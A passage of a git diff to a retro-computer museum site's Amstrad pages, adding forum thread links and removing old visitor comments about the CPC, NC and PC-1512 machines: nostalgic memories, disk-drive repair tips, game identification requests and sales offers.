Spain.) - date: Thursday 1st July 2004 - text: |- - This one was my first computer ever! I was given one with a green monitor and a bunch of Amsoft tapes (Admiral Graf Spee, Galactic Plague, etc) on 1986. I barely used it for anything different that computer games, but it was a very good computer indeed. For years I could play conversions from my favourite arcade titles for less than $9 per game. - - Those who want to dump their tapes onto TZX or CDT files (emulator friendly formats) must create 8 bit mono VOC files (GoldWave is very good at it) and then encode them with the Samp2CDT or VOC2TZX utilities. - - author: Joe (Norwich) - date: Thursday 13rd November 2003 - text: |- - I found a cpc464 in my shed - perfect condition, and would like to try some retro games on it\ - Is there an online resource where I can download games? How would I get them onto audio tape? - - author: Al (Kent, England) - date: Wednesday 11th June 2003 - text: I had an Amstrad CPC464 as a little kid, and remember playing on things like Harrier Attack and Jet Set Willy really vividly. In fact i'm just about to go up into my loft and try to find it, and see if it's still working! Anyone know of anywhere I could get hold of the music synth or vocal synth for the CPC464? - - author: Roland Weigelt (Bonn, Germany) - date: Monday 21st October 2002 - text: Great computer! Good basic, nice firmware manual and a processor (Z80) with an easy instruction set. This was the computer on which I really learned to develop larger software. - - author: Charles da Silva (France) - date: Thursday 19th September 2002 - text: No doubt it was a great computer. Not only had it allowed so many people to discover computers (for the price of a single C64, you had the monitor and the tape recorder), it also had the best softwares, an excellent Basic and it was one of the most solid computer ever... I've got mine since 1986 and it's still working fine. Thanks to Alan Sugar who made the computer technology affordable for anyone ! - - author: Amon (Italy) - date: Tuesday 30th July 2002 - text: |- - I had this marvelous computer when i was a boy... my fist step in informatic world! U have worked on CPC 6128 of my best friend\ - remember it forever in my life! - - author: Dave (Edinburgh) - date: Friday 15th March 2002 - text: 'I had my old CPC for years as a youngster, and it suffered lots of gaming abuse, even falling off the desk a few times: still worked perfectly! The only thing that went in all its years was the tape counter! I LOVED my Amstrad, and I now own 2 of them thanks to ebay! Check out my site for emulation and history stuff :)' related: - /museum/amstrad-464-6128-plus - /museum/amstrad-cpc-5512 diff --git a/content/museum/amstrad-cpc-5512.md b/content/museum/amstrad-cpc-5512.md index c10e4bf0..509052cb 100644 --- a/content/museum/amstrad-cpc-5512.md +++ b/content/museum/amstrad-cpc-5512.md @@ -62,6 +62,7 @@ params: - links - docs - videos + forum_thread: 516 photos: - title: 5''1/4 DISK-DRIVE subtitle: '' @@ -495,21 +496,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: Frédéric - date: Wednesday 12th December 2018 - text: |- - If I remember correctly, the aim of the joke was to tell Amstrad not letting their users down and to push them making a better machine. The disclaimer about the article being a joke was (said to be) forgotten/lost in the final layout, and got published the week after as en erratum. - - This satiric newspaper was mostly source-code oriented (typos included !) and the news part contained lots of provocations towards computer firms (along with random dark/absurd humor illustrations) which made them go to court quite often.\ - They also ran a weekly programming challenge ("Les deulignes" meaning the twolines) praising short theme-free programs (utility, joke, fun, tips) which respected the rule of being programmed in BASIC and were 2 lines long. Lines could contain several statements. - - An example of joke-program featured that I remember :\ - 10 cls : print "How to keep an idiot busy for hours ?" : print "Press any key to figure out..."\ - 20 while inkey$$"" : wend : goto 10 - - author: Lisa White (US) - date: Saturday 30th December 2006 - text: Does anyone know how to get service in the US for a old amstrd pc? related: - /museum/amstrad-464-6128-plus - /museum/amstrad-cpc-464 diff --git a/content/museum/amstrad-cpc-6128.md b/content/museum/amstrad-cpc-6128.md index 5f856537..43c27054 100644 --- a/content/museum/amstrad-cpc-6128.md +++ b/content/museum/amstrad-cpc-6128.md @@ -88,6 +88,7 @@ params: - links - docs - videos + forum_thread: 125 photos: - title: TOP VIEW subtitle: '' @@ -567,234 +568,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: bond.san - date: Friday 21st June 2013 - text: |- - For Sale: £90 Amstrad CPC6128 + Green screen monitor - working - games - utilities - joystick.\ - Disc drive not working - disc drive rotating but not reading discs - did work when tested several years ago.\ - http://www.ebay.co.uk/itm/190859678111 - - author: bond.san - date: Friday 21st June 2013 - text: |- - For Sale: £90 Amstrad CPC6128 + Green screen monitor - working - games - utilities - joystick.\ - Disc drive not working - disc drive rotating but not reading discs - did work when tested several years ago. - - author: Chris (Australia) - date: Thursday 4th October 2012 - text: |- - My first computer with a disk drive! Awesome! Check out the wiki on all things CPC: - - http://cpcwiki.eu/index.php/Main_Page - - author: Dina (Denmark) - date: Saturday 7th July 2012 - text: |- - Hi, just replaced the drive belt ind my old cpc6128, but only a few games are able to load. I can run "cat" on most of them, but when i try to run the games i get and ignore, retry cancel dialogue...\ - Does anyone have any idea what can be wrong? - - I''m all nostalgic here and can''t wait to show my daughter what kin of computergames mommy playes, when she was a kid :) - - author: Christopher Patrick (USA) - date: Tuesday 15th May 2012 - text: '@Harkline1 you can play Spimdizzy online at http://www.spindizzy.org/nwp/' - - author: Daniel (Spain) - date: Tuesday 1st May 2012 - text: |- - @Harkline1\ - Try replacing the disk drive belt as suggested by GreenMachine. I had the same problem with mine some years ago after recovering from the attic. The belt had tear down and the motor spun without providing enough traction to the disk shaft. A new belt, 30" and working as new. - - author: Demus (Poland) - date: Friday 6th April 2012 - text: CPC6128 with $$149$20MB Hard disk? Is this a correct information? Amstrad PC1512 have drive like this. - - author: Harkline1 - date: Friday 6th April 2012 - text: 'My Mum and I have just cleared out the cubby house. We have taken the plastic off the Amstrad CPC6128 128k, and want to play one game, and one game only: Spindizzy. We put the disc in, try to boot (have tried both RUN"DISC and :CPM, but the disc drive just whirs and clicks and it then asks me to RETRY, IGNORE or CANCEL. Can anyone help? It was in perfect working order when it went into the cubby house. What could have happened during 20 years of hibernation? Is there anything I could try to one again have the joy of Spindizzy? Harkine' - - author: Proteus - date: Thursday 29th December 2011 - text: |- - Hi, there is a minor error in the discription. The 5V is for the computer and the 12V is for the floppy.\ - Regards - - author: GreenMachine - date: Sunday 26th April 2009 - text: |- - Gregory: If it runs (lit LED and drive noises), but otherwise doesn''t work,\ - you probably just need a new drivebelt. - - http://www.old-computers.com/forum/forum_posts.asp?TID$4477 - - You could also take a look on eBay or maybe here: - - http://www.rwapsoftware.co.uk/\ - or\ - http://www.tradeinpost.com/ - - The CPC 6128 uses the same drive as the Sinclair ZX Spectrum +3. - - The belt ought to be a few mm wide - I once bought replacements that\ - were very thin - not optimal. - - author: Gregory (Greece) - date: Saturday 25th April 2009 - text: I have a CPC 6128 with a green monitor... 8bit machines have became one of the best retro decorations to one''s home - When the computer was about 10 years old i was thinking of selling it, now i wouldnt even consider it! I just love seeing my good old CPC sit in his small corner in the room. It brings me memories of younger more innocent times... I will never give it anywhere. If my kids want to give it away after many years ( when probably it will cost a lot more as a antique ) they can do it, but as long as i live it will never happen. Anyway.. i have a problem.. the drive isnt working anymore... :( After almost 25 years it finally gave up i guess. Anyone knows anything that i can do about this? - - author: Noobsaibot73 (Madrid, Spain) - date: Thursday 11th September 2008 - text: |- - This computer has many superb games, as The Sentinel, Saboteur 2, Combat School, Barbarian.....thanks Mr. Sugar for "the dreams machine". My first computer was a CPC 464, during years I was looking for a 6128, and finally, I''m the proud owner of one of this incredible machines.\ - Ok, the rest of the 8 bits owners (msx, spectrum or C-64) will tell the same of their machines, but if you were an Amstrad user, you know what I''m talking about, no other computer (or emulator) will let you feel those sensations. - - author: Fatih Kececi (TURKEY) - date: Tuesday 29th April 2008 - text: Amstrad CPC6128 was my first computer. i really loved this machine... - - author: Stephen Lambert (Manchester, England) - date: Saturday 22nd March 2008 - text: Legendary, fantastic machine. My very first computer that I can remember and I loved it to bits. Then my parents sold it in Loot against my will...I was sad. But all is well because I've just bought one off ebay! No more emulators for me! Back to the real thing! - - author: noobsaibot73 (Spain) - date: Sunday 11th November 2007 - text: I'm the proud owner of a CPC 6128, this is a fantastic machine, this machine was intended for applications as well as games. A few days ago I bought one original MP3 (tv tuner) so now I'm able to see tv with my colour screen. I told you, this is a SUPERB machine !!!! - - author: Steve (GREECE) - date: Tuesday 9th January 2007 - text: Hi,Amstrad was my first contact with PC's,now I have it to a basement and not working on him anymore, if someone is interested for it im selling it,just email me thnx - - author: Reinor (Australia) - date: Friday 17th November 2006 - text: I found one of these outside an old sporting complex that was being cleaned out for the first time in a decade. It had been lying in the pouring rain for at least a week, in a pool of mud with various crawlies living in it, along with a couple of disks. I took it home, wiped off the mud, plugged it in and presto! Try that with a modern computer! - - author: Peter Jarvis (Doncaster, England) - date: Monday 4th September 2006 - text: When I was 12 I got a cpc464 for christmas I was over the moon, even though it only had a green screen monitor. I loved the Roland Games as naff as they are now. I always wanted a 6128 but because I was only 13 at the time they came out couldn't afford one. I have just bought one off ebay and am waiting for it be delivered; I haven't been this excited since christmas eve, the christmas I got my 464. There is something massively appealing about the amstrad computers, more than any other that was around at the time. I remember programming a game that went on the cascade50 cassette and winning a competition for a calculator watch and a copy of the games before they were released. If it wasn't for my amstrad I wouldn't be a internet developer. What great times. - - author: ISIHOS KIRIAKOS (ATHENS\HELLAS) - date: Saturday 3rd June 2006 - text: |- - HI MY MAME IS KIRIAKOS ISIHOS . I'M ASSISTANT IN THE BIBLICAL STANTIES IN THEOLOGICAL SHOOL OF THE ATHENS UNIVERSITY AND SUB-DIAKON IN THE ORDODOX CHERTCH.. OLSO PROGRAMMERS TECNICAL COMPUTERS AND OLD COMPUTERS USERS HOME & PC. I'VE: AMSTRAND 6128, SPECTRUM 48,+2,QL.\ - NOW BICOUSE THE 6128 NO WORK HAVE AMULATORS PC PROGRAMS.\ - PLEASE I SEARCH THE TWO(2) SYSTEM AND UTILITIES DISKS FOR 6128 INCLUDED IN THE COMPUTER PACK. IF SOMBODY HAVE THIS DISKS PLEASE SEND ME THE FILES WITH E-MAIL: KIRIAKOSYPOD@YAHOO.GR\ - P.S. IN INTERNET HAVE ANDRESS TO DOWNLOAD FREE THE ORIGINAL SYSTEM DISKS FOR 6128 ?\ - THANKS..\ - FRYENDLY\ - KIRIAKOS - - author: Chris (Australia) - date: Monday 19th December 2005 - text: Hey Guys, Just wanna share my 2 fav games for the Legendary Old School Amstrad. Can any of you remember Manic Minor and Barbarian? how good were they? If anyone knows a website that i could get these games from and start bringing back the old memories please feel free to email me or post it here. Cheers Lads - - author: Víctor (Málaga, España) - date: Tuesday 5th July 2005 - text: ¿Qué puedo decir de este ordenador que no sepáis todos los que hayáis tenido la suerte de tener uno? Fue el primero de todos los ordenadores que he tenido y es el único que no me ha sacado de quicio. Mi CPC6128 me lo regalaron mis padres en las navidades de 1986, cuando yo contaba con sólo 11 años, y disfruté de tardes interminables pegado a él con mis amigos, después del colegio. Hoy, salvo por algún cambio de goma en la disquetera, lo tengo en perfecto estado, funcionando, aunque no lo uso tanto como yo quisiera por mi trabajo. Estas vacaciones de Agosto le voy a volver a dar un poco de caña. Por cierto, me he entretenido en escanear el manual y voy a colgarlo en el emule en breve. Un saludo a todos los cpceros, y ¡¡Larga vida al Amstrad CPC!! (durará tanto como nosotros queramos). P.D. Gracias, Alan, por inventar una máquina tan maravillosa. - - author: ShadowCaster (France) - date: Friday 9th July 2004 - text: |- - Marc, there's a fast dos emulator for the CPC.\ - It's called NO$CPC. - - author: ShadowCaster (France) - date: Friday 9th July 2004 - text: David, the game you are seraching is "into the eagle's nest" somtimes also called "eagle's nest" - - author: DAVID (FRANCE) - date: Sunday 9th May 2004 - text: I search the name of a game I use to play when a was young, It was a soldier in some rooms and you need the search some "first aid" some "guns" and of course you need to fire ennemies. Im not sure but it could be in a castle ? I was many rooms in the games and my soldier was blue or grey ? and the other was gree ? but Im not sure... thank you for help me - - author: Dimitris (GREECE) - date: Wednesday 5th May 2004 - text: |- - Amstrad CPC6128 was the most home among personal computers and the most personal among homes. I still have an upgraded CPC6128 and I am still upgrading and programming (CP/M). It is very very easy to upgrade by - let's say - adding a 3.5" FD to your CPC and download dsk images from Internet or run CP/M programms written for other computers. It is amazing to give CAT command and see the message - - \------------------------\ - Drive B: user 0 - - Disk.BIN 500k - - 296k free - - --- - - No - 178k - size limit any more - - If anybody likes to, just mail me.! - - author: ikonsgr (GREECE) - date: Thursday 22nd January 2004 - text: What can i say for this machine..., i think that AMSTRAD 6128 was one of the main reasons that makes me to think all the years with "him" , perhaps, the best years of my life. From the age of 12 untill 17, AMSTRAD 6128, with the extrordinary BASIC and the Fantastic games it had, made me to create,play,enjoy and dream like nothing or noone else can make me do, back to these beautiful days of youth.. Heil to the BEST HOME MICRO (along with Spectrum :) ) OF ALL TIME, YOU WILL ALWAYS HAVE A PLACE IN OUR HEAERTS!!! - - author: David Merrett (Australia) - date: Thursday 22nd January 2004 - text: |- - Both the Amstrad CPC 6128 and the lower version with the tape player in it\ - As well as the Commodore C64 were used in the Education Department of South Australia. You can still pic them up at Government Auctions for like 5 dollars each. - - author: McKlain (Spain) - date: Saturday 23rd August 2003 - text: |- - "It was sold with a mediocre monitor (monochrome green or color)" - - Hey, the monitors were not that mediocre! - - author: Malc (UK) - date: Tuesday 22nd April 2003 - text: I bought one of these new. The disk drive seemed tremendously fast after my Commodore 128/1571 combo in CPM mode! - - author: Martin Upson (Frankfurt, Germany (year out from Uni, London)) - date: Thursday 16th January 2003 - text: I still have a CPC 6128. I loved it to bits. Got lots of old games but would really like some more!! Please let me know if you're interested in selling them. Many thanks, Martin - - author: Directx (Greece) - date: Thursday 26th December 2002 - text: |- - CPC 6128 was my first home computer! An amazing machine .. - - Hint: To see it's disk catalogue type CAT\ - Hint 2: To load software type RUN "software_name" - - author: Gez (UK) - date: Monday 2nd December 2002 - text: I bought a cpc 6128 a while ago at a car boot sale but i still can't figure out how to load disks. can some one please e-mail me the syntax. - - author: marc (france) - date: Saturday 9th November 2002 - text: |- - fruity franck...\ - do we have to use emulator or does it exist in a dos version? - - author: Stephen Pattenden (Kent, England) - date: Sunday 6th October 2002 - text: |- - I too have a CPC 6128. Does anyone know how much they are worth nowadays?\ - Is there anyone out there who is interested in buying it off of me? - - author: Andy (England) - date: Monday 9th September 2002 - text: |- - Does anyone use CP/M on either the 6128 or an emulator? I'm writing a magazine article on CP/M and would like to hear from current users. - - Thanks, - - author: defianter (germany) - date: Monday 12th August 2002 - text: |- - @ Ben ( UK ) - - I search for North vs. South for Wondows. Did you know where i can get it today? - - regards\ - gero - - author: Gina (France) - date: Tuesday 16th July 2002 - text: |- - I remember "FRUITY FRANCK" ! It was so great ! It was the first video game I played...\ - Does anybody know where I could find it today ? Does it work on windows ? - - author: Piotr (Poland) - date: Wednesday 26th June 2002 - text: Thanks Olivier. I've already found it. :) - - author: Olivier (France) - date: Sunday 23rd June 2002 - text: The game you are talking about is Fruity Franck. I think you can find it on any Amstrad emulation site. Enjoy. - - author: Piotr (Poland) - date: Sunday 23rd June 2002 - text: I had 8 years when I have my firs computer. It was GREAT amstrad CPC 6128. I remember a great game. I don't remember it's name but you have to walk gardener called "frank" and catch fruits. Thanks Amstrad for great computer !!! - - author: Olivier (France) - date: Friday 17th May 2002 - text: |- - I think the game you are talking about is MGT (MaGnetik Tank). You can download it here: http://www.arcadeabyss.com/amstrade_page_diskm.html - - Have fun! - - author: Ingo (Germany) - date: Friday 17th May 2002 - text: |- - yeah - those were the days! I still recall the years 1987 and 1988 - dbaseII and wordstar - compared to the C64 i was using before it was really cool...\ - does anyone remember this game ? I don't know the name... you were controlling a kind of hovercraft through a maze of rooms with traps. It was a kind of pseudo-3D with a fly-on-the-wall-perspective. If you know the name of the game please contact me - thanx a lot!!\ - btw. i love this site - it's really fantastic and somehow a time-machine - cewl!!! - - author: Efthymios (Greece) - date: Wednesday 3rd April 2002 - text: |- - My 6128 is working perfectly up to now. Sometimes I spend some time, just to play a game and to remember those days.\ - Dont know if someone else does the following' I usually open the keyboard to clean the chips and stuff. Am I mad; Dont think so. I am just showing some respect to the King...That's All\ - Thanks Amstrad for those great years of 8bit entertain :-) - - author: Ben (UK) - date: Monday 4th March 2002 - text: I still have my 6128 and its in full working order. Just the other day I was playing classic American Civil War game "North and South" and cop simulator "APB" - the predecessors of Command and Conquer and Grand Theft Auto sort of. - - author: Warlock (UK) - date: Tuesday 26th February 2002 - text: |- - One of the many computers we had when I was growing up was the 6128. I think my dad finally threw it out in 1998 or 1999. Great piece of kit, though - we used it for \*years\* - - He was the only person I know who successfully recoded the keyboard routines on Jet Set Willy so that it would work on a 6128. related: - /museum/amstrad-464-6128-plus - /museum/amstrad-cpc-464 diff --git a/content/museum/amstrad-cpc-664.md b/content/museum/amstrad-cpc-664.md index ff1ad78e..a4c020f5 100644 --- a/content/museum/amstrad-cpc-664.md +++ b/content/museum/amstrad-cpc-664.md @@ -88,6 +88,7 @@ params: - links - docs - videos + forum_thread: 126 photos: - title: CPC-664 subtitle: '' @@ -599,22 +600,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: commodore 64 - date: Thursday 9th September 2010 - text: yeah, it came a bit late for me as i had already got my hands on what was the best ca 1983, the mighty c64. Probably would have gotten the amstrad if it had come out earlier. Very very popular machine, it became. - - author: David (Earth) - date: Thursday 5th April 2007 - text: |- - I have two of these; one has been converted to a 6128 with a chip swap and memory pack. The membrane keyboards were immensely troublesome - I got fed up of dismantling and cleaning them.\ - Box-loads of games and apps. Have an original copy of the complete op code.\ - Also have a refurbished 464 and a modulator.\ - The graphics gives one a pounding headache! Would like to upgrade. Amstrad was destroyed by the Yanks, WD & co., who were extremely worried about cheap Asian imports under-cutting their home market - now look where we are!! - - author: Andrew Bolton (London) - date: Friday 7th March 2003 - text: |- - This was the first ‘serious’ computer I owned – serious because it could run CP/M and therefore I could write useful software in Turbo Pascal and dBase II, and It also ran Wordstar. I don’t think it fair to call the monitor ‘mediocre’ – remember everyone else, with Spectrums, C64’s and so on, plugged their machine into the TV, and the Amstrad monitor was certainly better than that. I had the 12” green screen which was perfectly good enough for working at. I was also rather glad I bought it before it was replaced with the 6128, which had a pretty horrid keyboard - the 664 had a really nice keyboard!\ - One problem though was that because the screen was bitmapped it ate 16K out of the 64K memory, leaving an unusually small TPA for CP/M, of around 45K (I can’t remember exactly, but the 42K cited on the 6128 page doesn’t sound right – but perhaps my memory is faulty). Most CP/M machines had character mapped displays which only used about 2K. Eventually I bought a 64 Ram expansion and got a copy of CP/M3 (aka CP/M +) (as used on the 6128). This expanded the TPA to 61K – and I added an external 5.25” drive which held something around 880K – a vast amount I never thought I’d fill… related: - /museum/amstrad-464-6128-plus - /museum/amstrad-cpc-464 diff --git a/content/museum/amstrad-csd.md b/content/museum/amstrad-csd.md index a851b7ef..7eb0e6bb 100644 --- a/content/museum/amstrad-csd.md +++ b/content/museum/amstrad-csd.md @@ -56,6 +56,7 @@ params: value: Amstrad probably gave them to dealers tabs: - photos + forum_thread: 933 photos: - title: INSIDE subtitle: '' @@ -74,10 +75,6 @@ params: Courtesy **amstrad.cpc.free.fr** image: /media/museum/photos/amstrad_csd_bootscreen_1.jpg - comments: - - author: Raindance Rob (UK) - date: Saturday 31st July 2010 - text: i remember seeing these in Dixson''s $ Curry''s here in the UK $ i always wondered what they were for, now i know :o) oc_id: 957 source: url: https://web.archive.org/web/20220819200344/http://www.old-computers.com/museum/computer.asp?c=957 diff --git a/content/museum/amstrad-gx-4000.md b/content/museum/amstrad-gx-4000.md index b9d732d4..30bb867f 100644 --- a/content/museum/amstrad-gx-4000.md +++ b/content/museum/amstrad-gx-4000.md @@ -15,6 +15,7 @@ params: - emulators - links - docs + forum_thread: 1052 photos: - title: GX 4000 subtitle: '' @@ -273,15 +274,6 @@ params:  compiled/archived by Charles Da Silva\  type of document : PDF\  source : [Amstrad.CPC](http://amstrad.cpc.free.fr/) - comments: - - author: Chris Weatherley (United Kingdom) - date: Thursday 19th April 2018 - text: |- - As a keen collector and fan of this system, I have produced a fair number of video''s about the GX4000. - - https://youtu.be/iWB6NRkjTmE - 25th Anniversary - - https://youtu.be/20ZBzhKoGdI - CPC vs GX4000 Game comparison. oc_id: 1082 source: url: https://web.archive.org/web/20221205113606/http://www.old-computers.com/museum/computer.asp?c=1082 diff --git a/content/museum/amstrad-nc-100.md b/content/museum/amstrad-nc-100.md index d96eafeb..54d49802 100644 --- a/content/museum/amstrad-nc-100.md +++ b/content/museum/amstrad-nc-100.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 736 photos: - title: NC-100 subtitle: '' @@ -164,27 +165,6 @@ params:  compiled/archived by Charles Da Silva\  type of document : PDF\  source : [Amstrad.CPC](http://amstrad.cpc.free.fr/) - comments: - - author: Karl Cross (United Kingdom) - date: Saturday 15th January 2022 - text: 'This website really is ace. Recently came to own one of these machines. A fascinating piece of history. Quite practical as a distraction free writing machine. One query: Does anyone know which printers it is compatible with?' - - author: David Simkin (Australia) - date: Sunday 13rd March 2016 - text: |- - I purchased an NC100 in 1992 for $A399 to type menus for my restaurant. I later purchased a 512K memory card for $189!\ - The Australian flyer proudly boasts "In 10 seconds flat, anyone can use it" and was promoted as the "Amstrad Notepad". - - author: Dirk Hillbrecht (Germany) - date: Saturday 1st November 2008 - text: |- - I purchased an NC 100 around 1994 for 200,- DM (approx. 100,- EUR) in a local electronic store. It served me for more than two years in my studies where I used it to type the lectures directly into the system. With all my classmates writing by hand this was really exotic back those days. I used kind of a "simplified" LaTeX notation which I converted into "real" LaTeX on my computer at home using some scripts in a Linux environment. this setup allowed me to type even complex mathematical formulas almost error-free in realtime! - - I still have the device and while not using it any more today, I will keep it - it was my first "Laptop"... - - author: Brian K. Hahn (USA) - date: Monday 24th May 2004 - text: |- - The Amstrad NC-100 is closely related to the Tandy WP2 in that both have have mainboard manufactured by Citizen CBM Division.\ - As a collector, I recently aquired an NC100. I found the display rather dim, but everything else about the unit was impressive. I have since aquired Citizen Hi-Contrast displays for the NC100. I upgraded my unit and it looks great and very crisp. If anyone is interested I can do the same for them.\ - Please visit my Amstrad NC100 page at: http://www.8bit-micro.com/amstrad-nc100.htm oc_id: 753 source: url: https://web.archive.org/web/20230608212536/http://www.old-computers.com/museum/computer.asp?c=753 diff --git a/content/museum/amstrad-nc-150.md b/content/museum/amstrad-nc-150.md index 76de54a0..ee7f2d3d 100644 --- a/content/museum/amstrad-nc-150.md +++ b/content/museum/amstrad-nc-150.md @@ -64,6 +64,7 @@ params: value: About 450 tabs: - photos + forum_thread: 1110 photos: - title: NC 150 subtitle: '' @@ -81,15 +82,6 @@ params: • BBC BASIC (Ctrl-B)\ • Games (Ctrl-G) image: /media/museum/photos/amstrad_nc150_display_s1.jpg - comments: - - author: Robcfg (Spain) - date: Tuesday 7th April 2015 - text: |- - The first NTS Dreamwriter, the Dreamwriter 225 is actually a rebadged NC100 with rom version 1.06. - - Next models have Nec V20 processors instead of Z80 and different applications on rom. - - Dreamwriter 500 is supposed to be a NC200 with V20 processor and backlit screen. oc_id: 1140 source: url: https://web.archive.org/web/20230601083050/http://www.old-computers.com/museum/computer.asp?c=1140 diff --git a/content/museum/amstrad-nc-200.md b/content/museum/amstrad-nc-200.md index af93ac43..206cbf2a 100644 --- a/content/museum/amstrad-nc-200.md +++ b/content/museum/amstrad-nc-200.md @@ -62,6 +62,7 @@ params: value: £390 tabs: - photos + forum_thread: 1111 photos: - title: RUNNING subtitle: '' @@ -89,10 +90,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/amstrad_nc200_casemanual_s1.jpg - comments: - - author: Gerrard Shaw (England) - date: Saturday 17th March 2007 - text: I saved a few of these when they were chucked out from my secondary school a few years back. Did a great job for me as my first "laptop" - I remember using it on a Ferry to France plugged into the ship's mains :) oc_id: 1141 source: url: https://web.archive.org/web/20230604042104/http://www.old-computers.com/museum/computer.asp?c=1141 diff --git a/content/museum/amstrad-pc-1512.md b/content/museum/amstrad-pc-1512.md index 2551784d..b8add7e7 100644 --- a/content/museum/amstrad-pc-1512.md +++ b/content/museum/amstrad-pc-1512.md @@ -63,6 +63,7 @@ params: - hardware - links - videos + forum_thread: 193 photos: - title: AMSTRAD PC-1512 subtitle: '' @@ -107,256 +108,6 @@ params: - title: Amstrad PC Finnish commercial (1987) url: https://www.youtube.com/watch?v=UrQfi8iG-Gk text: 'Length: 10 s' - comments: - - author: Christine Earl (United Kingdom) - date: Sunday 15th May 2022 - text: Help. I have a 1987 Amstrad PC1512DD with monitor keyboard, printer × some paper, user manuals , other books , interface modem , ( don''t know They are ). Not used now . Can anyone use this .? Everything must go formatted discs etc . Must collect from nr. BAKEWELL. DE45 1LL. A donation would be nice . Going to skip otherwise ..please help. Sentimental reasons .don''t want it to go to skip . Thanks Christine . - - author: AirTC (Ukraine) - date: Sunday 9th August 2020 - text: Oh!! It was my second PC. First one was Electronika BK-0011. - - author: Krzysztof A. Majewski (Polska) - date: Monday 24th February 2020 - text: I am looking for DOS 3,2 on 5,25"disk for Amstrad-Schneider 1512 HD - - author: diamondgod (West Virgina) - date: Monday 24th February 2020 - text: it looks so old and I like it - - author: Kes (UK) - date: Tuesday 17th October 2017 - text: Hey T, I restore/collect old machines, happy to give it a home if you''ve still got it! Email me on kes@kesgai.com. - - author: T (North London) - date: Saturday 14th January 2017 - text: |- - I am north London-based writer with our old grubby but fine otherwise 1512 in need of a home (collections only i''m afraid). We''re giving away the screen, keyboard, hard-drive (2 slots) and its manual - the mouse is filed somewhere else in the office I''m afraid, likewise the software disc. It''s first genuine taker, first serve. $Please let me know if it''s worth it to any of you, that i keep the mouse and software disc when i eventually find them$ - - Feel free to get in touch if you can use any or all of this - - Best - - T - - author: Misses Robata - date: Wednesday 14th December 2016 - text: |- - POOP! CGA graphic modes : 320 x 200 / 640 x 200 - - MUCH BETTER! Amstrad specific mode : 640 x 200 / 16 colors - - author: Awesomespace (The Netherlands) - date: Saturday 27th June 2015 - text: |- - We have the setup with the ZIP drive from Henk (see messages below) in this retro game space and it''s running fine! See our website for a screenshot. - - Added a few RAM chips (640K now), a NEC V30 and a soundblaster 2.0 to spice it up a bit! We will add a CGA to VGA converter soon so we can play the games on a VGA screen or even a projector! Awesome machine, thanks Henk! - - author: Zoe (UK) - date: Saturday 6th September 2014 - text: Hi gang, looking to see if anyone''s got some old software I''m after, it''s a Basic program for Locomotive BASIC2 called, we think, ''lakeside''. It came on a PCPlus "superdisk" coverdisk. Would be awesome if anyone can help with any leads. Cheers - - author: Daniele (Rome - ITALY) - date: Wednesday 27th August 2014 - text: |- - the 1512...\ - my very first PC\ - I learned everything about computer with it\ - really really cheap for that time\ - the best, and was british!\ - $-) - - author: Pedro Renato (Portugal) - date: Monday 2nd June 2014 - text: This was one of the first computers I used! - - author: John (united kingdom) - date: Sunday 9th February 2014 - text: I used to have one of these running smartwork. Looks identical, but mine was called a dd640. ''dd'' for double drive I presume, and 640 for the ram. - - author: Alan Questell (North Carolina, USA) - date: Friday 30th August 2013 - text: |- - This was my first PC-compatible, purchased after finishing graduate school. Hated to betray my Apple IIe, but PCs were what was being used where I began working. - - The 1512 was really easy to upgrade to 640K memory. And we also added the 10mb hard card. - - I used this computer for years and my mother used it for years after me when I upgraded. - - author: Barry (United Kingdom) - date: Wednesday 6th March 2013 - text: |- - I have a twin floppy 1512 used but in its original box''s. if any one is interested in make me an offer for it\ - bsprice@blueyonder.co.uk - - author: Joao Marques (Portugal) - date: Sunday 29th July 2012 - text: |- - I had a 1512 with 640K of RAM and 2 DS floppy drives. In those days i was starting my way arround computers, this was my first one. Still remember messing up with config.sys and autoexec.bat to try to address the 640K for DOS games, i even remember creating BAT files, creating menus for some utilities i''ve got from computer UK and US magazines.\ - I have many great memories of LONG hours spending messing up with DOS and games. GREAT machine. To bad i gave it away to a friend many years ago and never seen it again... :( - - BTW Jorge Gomes, is there even a remote possibility of getting one these days in Portugal? I think i still have some floppies with the programs i have and i think i still have floppies with DOS 3.1 and DOS 3.2... - - Anyway if someone in portugal have one and want to sell contact me by email, pls: joaoerm@gmail.com - - author: Tom Horton (England) - date: Saturday 12th May 2012 - text: |- - Still have my Amstrad 1512 with additional 20Mb HD installed....runs DOS with a text ''graphic'' menu system which my Uncle set up for me years ago. - - I think I still have some system disks (5 1/4) so if any one wants a bit of software I can upload to somewhere for download - you''ll just need a 5 1/4 disk drive ..... or if I have a spare disk I could post - - Great PC with many happy hours spent playing games etc - - author: Ian Ward (UK) - date: Thursday 26th April 2012 - text: My Brother in Law is still running his milk business on the HD20 version. - - author: Henk Siewert (The Netherlands) - date: Monday 23rd April 2012 - text: |- - Hallo,\ - I have 5 1/4 and 3 1/5 inch system floppies.\ - If you need one just email me on info@swtrocketry.com - - author: John (Spain) - date: Wednesday 22nd February 2012 - text: Reply to PETE (USA) - What do you mean by clocked at 4,7Mhz? - If the PC1512 is a "Turbo XT" with an 8Mhz CPU as suppose to an IBM XT with 4,77Mhz. The PC1512 was even faster than the IBM costing over 5 times less money, back in the days. I still have my one packed away in their original boxes, as new, and costed me £995 in 1987 - - author: David Meggitt (United Kingdom) - date: Sunday 5th February 2012 - text: |- - I still have this machine in the loft, and was in full working order when placed there, with one exception. - - The last time it was used was to prepare detailed spreadsheet for accompanying a submission for UE Funds in c 1989. Tragically, with one day to go the second floppy drive with data failed to respond and therefore unable to get the print out. - - (Current notebook is a Sony VAIO with intel core i7). - - author: David Meggitt (United Kingdom) - date: Sunday 5th February 2012 - text: |- - I still have this machine in the loft, and was in full working order when placed there, with one exception. - - The last time it was used was to prepare detailed spreadsheet for accompanying a submission for UE Funds in c 1989. Tragically, with one day to go the second floppy drive with data failed to respond and therefore unable to get the print out. - - (Current notebook is a Sony VAIO with intel core i7). - - author: PETE (U.S.A.) - date: Saturday 14th January 2012 - text: I BOUGHT A USED amstrad pc1512 .IT HAD ONLY 512K OF RAM AND I PERSONALLY UPGRADED IT MYSELF TO 